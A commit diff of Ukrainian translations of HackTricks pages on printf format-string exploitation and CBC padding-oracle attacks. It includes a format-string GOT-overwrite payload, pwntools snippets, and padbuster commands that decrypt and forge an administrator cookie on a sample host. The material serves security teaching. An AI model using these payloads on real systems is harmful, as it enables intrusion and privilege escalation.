Translated ['README.md', 'binary-exploitation/format-strings/README.md',

This commit is contained in:
Translator 2024-11-09 13:29:14 +00:00
parent 2ec8f3fc9e
commit 9e061f9ea6
43 changed files with 1109 additions and 701 deletions

View file

@ -70,7 +70,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
* **Інсайти з хакінгу:** Залучайтеся до контенту, який занурюється в захоплення та виклики хакінгу
* **Новини про хакінг в реальному часі:** Будьте в курсі швидкоплинного світу хакінгу через новини та інсайти в реальному часі
* **Новини про хакінг в реальному часі:** Слідкуйте за швидкоплинним світом хакінгу через новини та інсайти в реальному часі
* **Останні оголошення:** Будьте в курсі нових баг-баунті та важливих оновлень платформи
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами сьогодні!
@ -79,12 +79,14 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
### [Pentest-Tools.com](https://pentest-tools.com/?utm\_term=jul2024\&utm\_medium=link\&utm\_source=hacktricks\&utm\_campaign=spons) - Необхідний набір інструментів для тестування на проникнення
<figure><img src=".gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Миттєво доступна установка для оцінки вразливостей та тестування на проникнення**. Запустіть повний пентест з будь-якого місця з 20+ інструментами та функціями, які охоплюють від розвідки до звітування. Ми не замінюємо пентестерів - ми розробляємо спеціальні інструменти, модулі виявлення та експлуатації, щоб повернути їм трохи часу для глибшого аналізу, зламу оболонок та отримання задоволення.
#### Отримайте перспективу хакера на свої веб-додатки, мережу та хмару
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
\
{% endembed %}
@ -111,7 +113,7 @@ _Hacktricks логотипи та анімаційний дизайн від_ [_
[**WebSec**](https://websec.nl) - це професійна компанія з кібербезпеки, що базується в **Амстердамі**, яка допомагає **захищати** бізнеси **по всьому світу** від останніх загроз кібербезпеки, надаючи **послуги з наступальної безпеки** з **сучасним** підходом.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; Пентестинг, **Аудити** безпеки, Тренінги з обізнаності, Фішингові кампанії, Огляд коду, Розробка експлойтів, Аутсорсинг експертів з безпеки та багато іншого.
WebSec - це **все-в-одному компанія з безпеки**, що означає, що вони роблять все; пентестинг, **аудити безпеки**, навчання з підвищення обізнаності, фішингові кампанії, перевірка коду, розробка експлойтів, аутсорсинг експертів з безпеки та багато іншого.
Ще одна цікава річ про WebSec полягає в тому, що на відміну від середньої по галузі, WebSec **дуже впевнена у своїх навичках**, настільки, що вони **гарантують найкращі результати якості**, на їхньому веб-сайті зазначено: "**Якщо ми не можемо зламати це, ви не платите!**". Для отримання додаткової інформації ознайомтеся з їхнім [**веб-сайтом**](https://websec.nl/en/) та [**блогом**](https://websec.nl/blog/)!
@ -137,7 +139,7 @@ WebSec - це **все-в-одному компанія з безпеки**, щ
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -15,6 +15,13 @@
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо ви зацікавлені в **кар'єрі в хакерстві** та хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
## Основна інформація
У C **`printf`** - це функція, яка може бути використана для **виведення** деякого рядка. **Перший параметр**, який очікує ця функція, - це **сирий текст з форматерами**. **Наступні параметри** - це **значення**, які потрібно **замінити** на **форматери** з сирого тексту.
@ -84,9 +91,9 @@ printf("%4$x")
Атакуючий, який контролює цей ввід, зможе **додати довільну адресу в стек і змусити `printf` отримати доступ до них**. У наступному розділі буде пояснено, як використовувати цю поведінку.
{% endhint %}
## **Довільне читання**
## **Довільне Читання**
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати до тих пір, поки не буде знайдено 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
Можливо використовувати форматер **`%n$s`**, щоб змусити **`printf`** отримати **адресу**, що знаходиться в **n позиції**, слідуючи за ним, і **друкувати її так, ніби це рядок** (друкувати до знаходження 0x00). Отже, якщо базова адреса бінарного файлу **`0x8048000`**, і ми знаємо, що введення користувача починається з 4-ї позиції в стеці, можливо надрукувати початок бінарного файлу за допомогою:
```python
from pwn import *
@ -166,13 +173,13 @@ AAAA.%500\$08x —> Param at offset 500
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
{% endcontent-ref %}
Ми будемо **перезаписувати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказує** на **функцію** **`system`**.\
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку ви **записуєте 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
Ми будемо **перезаписувати** **функцію**, яка **отримує** свої **аргументи** від **користувача** і **вказувати** її на **функцію** **`system`**.\
Як згадувалося, для запису адреси зазвичай потрібно 2 кроки: спочатку **записується 2 байти** адреси, а потім інші 2. Для цього використовується **`$hn`**.
* **HOB** викликається для 2 вищих байтів адреси
* **LOB** викликається для 2 нижчих байтів адреси
* **HOB** називається для 2 вищих байтів адреси
* **LOB** називається для 2 нижчих байтів адреси
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\] і потім інший.
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший.
Якщо HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
@ -188,7 +195,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
```
{% endcode %}
### Шаблон Pwntools
### Pwntools Template
Ви можете знайти **шаблон** для підготовки експлойту для цього типу вразливості в:
@ -229,19 +236,23 @@ p.interactive()
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 біт, relro, без canary, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
* 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) та запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
* 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Якщо вас цікавить **кар'єра в хакерстві** і ви хочете зламати незламне - **ми наймаємо!** (_вимагається вільне володіння польською мовою в письмовій та усній формі_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Вчіть та практикуйте Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіть та практикуйте Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
<summary>Підтримайте HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -15,6 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## CBC - Cipher Block Chaining
In CBC mode the **previous encrypted block is used as IV** to XOR with the next block:
@ -71,7 +75,7 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
```
### Теорія
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення Oracle почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на заповнення оракула почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
![](<../.gitbook/assets/image (561).png>)
@ -96,31 +100,35 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
Цей BF такий же складний, як і попередній, оскільки можливо обчислити `E''15`, значення якого 0x02: `E''7 = \x02 ^ I15`, тому потрібно лише знайти **`E'14`**, яке генерує **`C14`, що дорівнює `0x02`**.\
Потім виконайте ті ж кроки для розшифровки C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Продовжуйте цей ланцюг, поки не розшифруєте весь зашифрований текст.**
**Продовжуйте цю ланцюг, поки не розшифруєте весь зашифрований текст.**
### Виявлення вразливості
Зареєструйтеся та увійдіть з цим обліковим записом.\
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, ймовірно, він завжди буде дійсним, і не буде способу його анулювати.
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, що в додатку є **щось** **неправильне**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **однаковий**, він, ймовірно, завжди буде дійсним, і не буде способу його анулювати.
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від програми.\
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви побачите, що отримуєте **помилку** від додатку.\
Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster.
### Посилання
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Підтримати HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,81 +1,86 @@
{% hint style="success" %}
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримайте HackTricks</summary>
<summary>Support HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
# CBC - Cipher Block Chaining
У режимі CBC **попередній зашифрований блок використовується як IV** для операції XOR з наступним блоком:
В режимі CBC **попередній зашифрований блок використовується як IV** для XOR з наступним блоком:
![https://defuse.ca/images/cbc\_encryption.png](https://defuse.ca/images/cbc\_encryption.png)
Для розшифрування CBC виконуються **протилежні операції**:
Щоб розшифрувати CBC, виконуються **протилежні** **операції**:
![https://defuse.ca/images/cbc\_decryption.png](https://defuse.ca/images/cbc\_decryption.png)
Зверніть увагу, що потрібно використовувати **ключ шифрування** та **IV**.
# Доповнення повідомлення
# Message Padding
Оскільки шифрування виконується у **фіксованих розмірних блоках**, **доповнення** зазвичай потрібне в **останньому блоку**, щоб завершити його довжину.\
Зазвичай використовується **PKCS7**, яке генерує доповнення, **повторюючи** кількість **байтів**, **необхідних** для **завершення** блоку. Наприклад, якщо в останньому блоку не вистачає 3 байтів, доповнення буде `\x03\x03\x03`.
Оскільки шифрування виконується в **фіксованих** **розмірах** **блоків**, зазвичай потрібне **доповнення** в **останньому** **блоці** для завершення його довжини.\
Зазвичай використовується **PKCS7**, який генерує доповнення, **повторюючи** **кількість** **байтів**, **необхідних** для **завершення** блоку. Наприклад, якщо останньому блоку не вистачає 3 байтів, доповнення буде `\x03\x03\x03`.
Давайте розглянемо більше прикладів з **2 блоками довжиною 8 байтів**:
Розглянемо більше прикладів з **2 блоками довжиною 8 байтів**:
| байт #0 | байт #1 | байт #2 | байт #3 | байт #4 | байт #5 | байт #6 | байт #7 | байт #0 | байт #1 | байт #2 | байт #3 | байт #4 | байт #5 | байт #6 | байт #7 |
| byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 | byte #0 | byte #1 | byte #2 | byte #3 | byte #4 | byte #5 | byte #6 | byte #7 |
| ------- | ------- | ------- | ------- | ------- | ------- | ------- | ------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- | -------- |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Зверніть увагу, що в останньому прикладі **останній блок був повним, тому був згенерований ще один лише з доповненням**.
Зверніть увагу, що в останньому прикладі **останній блок був заповнений, тому був згенерований ще один лише з доповнення**.
# Oracle доповнення
# Padding Oracle
Коли додаток розшифровує зашифровані дані, він спочатку розшифровує дані; потім він видаляє доповнення. Під час очищення доповнення, якщо **недійсне доповнення викликає виявний вчинок**, у вас є **уразливість Oracle доповнення**. Виявний вчинок може бути **помилкою**, **відсутністю результатів** або **повільною відповіддю**.
Коли програма розшифровує зашифровані дані, спочатку вона розшифровує дані; потім видаляє доповнення. Під час очищення доповнення, якщо **недійсне доповнення викликає помітну поведінку**, у вас є **вразливість padding oracle**. Помітна поведінка може бути **помилкою**, **відсутністю результатів** або **повільнішою відповіддю**.
Якщо ви виявите цей вчинок, ви можете **розшифрувати зашифровані дані** та навіть **зашифрувати будь-який чистий текст**.
Якщо ви виявите цю поведінку, ви можете **розшифрувати зашифровані дані** і навіть **зашифрувати будь-який відкритий текст**.
## Як експлуатувати
## How to exploit
Ви можете використовувати [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster), щоб експлуатувати цей вид вразливості або просто виконати
Ви можете використовувати [https://github.com/AonCyberLabs/PadBuster](https://github.com/AonCyberLabs/PadBuster) для експлуатації цього типу вразливості або просто зробити
```
sudo apt-get install padbuster
```
Для того щоб перевірити, чи є куки сайту вразливими, ви можете спробувати:
Щоб перевірити, чи вразливий кукі сайту, ви можете спробувати:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA=="
```
**Кодування 0** означає, що використовується **base64** (але доступні й інші, перевірте меню довідки).
**Кодування 0** означає, що **base64** використовується (але доступні й інші, перевірте меню допомоги).
Ви також можете **зловживати цією вразливістю для шифрування нових даних. Наприклад, уявіть, що вміст куки - "**_**user=MyUsername**_**", тоді ви можете змінити його на "\_user=administrator\_" та підвищити привілеї всередині додатка. Ви також можете це зробити, використовуючи `padbuster`, вказавши параметр -plaintext**:
Ви також можете **зловживати цією вразливістю для шифрування нових даних. Наприклад, уявіть, що вміст cookie є "**_**user=MyUsername**_**", тоді ви можете змінити його на "\_user=administrator\_" і підвищити привілеї в додатку. Ви також можете зробити це, використовуючи `paduster`, вказуючи параметр -plaintext**:
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
```
Якщо сайт вразливий, `padbuster` автоматично спробує знайти помилку у доповненні, але ви також можете вказати повідомлення про помилку, використовуючи параметр **-error**.
Якщо сайт вразливий, `padbuster` автоматично спробує визначити, коли виникає помилка заповнення, але ви також можете вказати повідомлення про помилку, використовуючи параметр **-error**.
```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
```
## Теорія
У **короткому** вигляді, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можуть бути використані для створення всіх **різних додаткових байтів**. Потім атака на оракула додаткового байту почне розшифровувати байти з кінця до початку, вгадуючи, яке буде правильне значення, яке **створює додатковий байт 1, 2, 3** і т.д.
У **резюме**, ви можете почати розшифровувати зашифровані дані, вгадуючи правильні значення, які можна використовувати для створення всіх **різних заповнень**. Потім атака на основі заповнення почне розшифровувати байти з кінця на початок, вгадуючи, яке буде правильне значення, що **створює заповнення 1, 2, 3 тощо**.
![](<../.gitbook/assets/image (629) (1) (1).png>)
Уявіть, що у вас є зашифрований текст, який займає **2 блоки**, утворені байтами від **E0 до E15**.\
Для того, щоб **розшифрувати останній блок** (**E8** до **E15**), весь блок проходить через "розшифрування блоку шифру" і генерує **проміжні байти I0 до I15**.\
Нарешті, кожен проміжний байт **XORed** з попередніми зашифрованими байтами (E0 до E7). Таким чином:
Уявіть, що у вас є деякий зашифрований текст, який займає **2 блоки**, сформовані байтами з **E0 до E15**.\
Щоб **розшифрувати** **останній** **блок** (**E8** до **E15**), весь блок проходить через "дешифрування блочного шифру", генеруючи **проміжні байти I0 до I15**.\
Нарешті, кожен проміжний байт **XOR'иться** з попередніми зашифрованими байтами (E0 до E7). Отже:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
@ -83,27 +88,47 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4`
* ...
Тепер можна **змінити `E7` до тих пір, поки `C15` не буде `0x01`**, що також буде правильним додатковим байтом. Таким чином, у цьому випадку: `\x01 = I15 ^ E'7`
Тепер можливо **модифікувати `E7`, поки `C15` не стане `0x01`**, що також буде правильним заповненням. Отже, в цьому випадку: `\x01 = I15 ^ E'7`
Таким чином, знаходячи E'7, можна **обчислити I15**: `I15 = 0x01 ^ E'7`
Отже, знаходячи E'7, **можливо обчислити I15**: `I15 = 0x01 ^ E'7`
Це дозволяє нам **обчислити C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Що дозволяє нам **обчислити C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Знаючи **C15**, тепер можна **обчислити C14**, але цього разу методом грубої сили додаткового байту `\x02\x02`.
Знаючи **C15**, тепер можливо **обчислити C14**, але цього разу методом грубої сили для заповнення `\x02\x02`.
Ця BF така ж складна, як і попередня, оскільки можливо обчислити **`E''15`**, значення якого 0x02: `E''7 = \x02 ^ I15`, тому просто потрібно знайти **`E'14`**, який генерує **`C14`, рівний `0x02`**.\
Потім виконайте ті самі кроки для розшифрування C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Цей BF такий же складний, як і попередній, оскільки можливо обчислити `E''15`, значення якого 0x02: `E''7 = \x02 ^ I15`, тому потрібно лише знайти **`E'14`**, яке генерує **`C14`, що дорівнює `0x02`**.\
Потім виконайте ті ж кроки для розшифровки C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**Слідуйте цьому ланцюжку, поки не розшифруєте весь зашифрований текст.**
**Продовжуйте цю ланцюг, поки не розшифруєте весь зашифрований текст.**
## Виявлення вразливості
Зареєструйте обліковий запис та увійдіть за допомогою цього облікового запису.\
Якщо ви **увійдете багато разів** і завжди отримуєте **той самий кукі**, ймовірно, у програмі є **щось не так**. Куки, які надсилаються назад, повинні бути унікальними кожного разу, коли ви увійдете. Якщо куки завжди **однакові**, вони, ймовірно, завжди будуть дійсними, і **немає способу їх анулювати**.
Зареєструйте обліковий запис і увійдіть з цим обліковим записом.\
Якщо ви **входите багато разів** і завжди отримуєте **один і той же cookie**, ймовірно, що в додатку є **щось** **неправильно**. **Cookie, що повертається, повинен бути унікальним** щоразу, коли ви входите. Якщо cookie **завжди** **один і той же**, ймовірно, він завжди буде дійсним, і не буде способу його **анулювати**.
Тепер, якщо ви спробуєте **змінити** куки, ви побачите, що отримаєте **помилку** від програми.\
Але якщо ви використовуєте BF для додаткового байту (наприклад, використовуючи padbuster), ви зможете отримати інший куки, дійсний для іншого користувача. Цей сценарій ймовірно дуже вразливий до padbuster.
Тепер, якщо ви спробуєте **модифікувати** **cookie**, ви можете побачити, що отримуєте **помилку** від додатку.\
Але якщо ви BF заповнення (використовуючи padbuster, наприклад), ви зможете отримати інший cookie, дійсний для іншого користувача. Цей сценарій, ймовірно, вразливий до padbuster.
## Посилання
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Підтримати HackTricks</summary>
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -15,11 +15,21 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
</details>
{% endhint %}
Це деякі трюки для обходу захисту пісочниць Python та виконання довільних команд.
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Отримайте перспективу хакера щодо ваших веб-додатків, мережі та хмари
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
